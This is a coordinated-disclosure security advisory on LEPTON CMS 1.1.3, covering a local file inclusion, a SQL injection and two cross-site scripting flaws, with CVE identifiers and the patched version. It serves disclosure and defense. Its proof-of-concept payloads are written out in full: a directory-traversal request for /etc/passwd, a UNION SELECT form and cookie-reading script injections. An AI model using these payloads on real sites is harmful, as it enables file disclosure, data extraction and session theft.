Vendor: LEPTON Project Vulnerable Version(s): 1.1.3 and probably prior Tested Version: 1.1.3 Vendor Notification: 25 January 2012 Vendor Patch: 4 February 2012 Public Disclosure: 15 February 2012 Vulnerability Type: Local File Inclusion, SQL Injection, Cross Site Scripting (XSS) Solution Status: Fixed by Vendor Risk Level: High Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.ch/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in LEPTON, which can be exploited to perform Local File Inclusion, Cross Site Scripting and SQL Injection attacks. 1) Local File Inclusion in LEPTON: CVE-2012-0998 Input passed via the "language" POST parameter to /account/preferences.php is not properly verified before being saved in $_SESSION['language'] when user updates preferences. Thereafter $_SESSION['language'] is used in include() function and can be exploited to include arbitrary local files via directory traversal and URL-encoded NULL bytes. The following PoC (Proof of Concept) demostrates the vulnerability: POST /account/preferences.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded user_id=[USER_ID]&hash=[HASH]&r_time=[TIME]&save=account_settings&display_name=user&timezone_string=Europe%2FBerlin&date_format=&time_format=&email=test%40test.com&new_password=&new_password2=¤t_password=[PASSWORD]&submit=Save&language=../../../etc/passwd%00 Successful exploitation of the vulnerability requires that "magic_quotes_gpc" is off. 2) SQL Injection in LEPTON: CVE-2012-0999 Input passed via the "group_id" POST parameter to /modules/news/rss.php is not properly sanitised before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC (Proof of Concept) demostrates the vulnerability: <form action="http://[host]/modules/news/rss.php?page_id=1" method="post"> <input type="hidden" name="group_id" value="0 UNION SELECT 1,2,3,4,5,6,version(),8,9,10,11,12,13,14,15 -- 2"> <input type="submit" id="btn"> </form> Successful exploitation of this vulnerability requires that "register_globals" is enabled. 3) Cross Site Scripting (XSS) in LEPTON: CVE-2012-1000 3.1 Input passed via the "message" GET parameters to /admins/login/forgot/index.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website. The following PoC (Proof of Concept) demostrates the vulnerability: http://[host]/admins/login/forgot/index.php?message=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E Successful exploitation of this vulnerability requires that "register_globals" is enabled. 3.2 Input passed via the "display_name" and "email" POST parameters to /account/preferences.php is not properly sanitized before being saved in the database. An attacker can modify his user profile to perform XSS attack against logged-in website administrator. The following PoC (Proof of Concept) demostrates the vulnerability: <form action="http://[host]/account/preferences.php" method="post"> <input type="hidden" name="display_name" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="email" value='"><script>alert(document.cookie);</script>' /> <input type="hidden" name="save" value="account_settings" /> <input type="hidden" name="hash" value="[HASH]" /> <input type="hidden" name="r_time" value="[TIME]" /> <input type="hidden" name="current_password" value="[PASSWORD]" /> <input type="submit" id="btn"> </form> ----------------------------------------------------------------------------------------------- Solution: Upgrade to Lepton 1.1.4 or later. More information: http://www.lepton-cms.org/posts/security-release-lepton-1.1.4-52.php ----------------------------------------------------------------------------------------------- References: [1] High-Tech Bridge Advisory HTB23072 - https://www.htbridge.ch/advisory/HTB23072 - Multiple vulnerabilities in LEPTON. [2] LEPTON - http://www.lepton-cms.org/ - LEPTON is an easy-to-use but full customizable Content Management System (CMS). [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.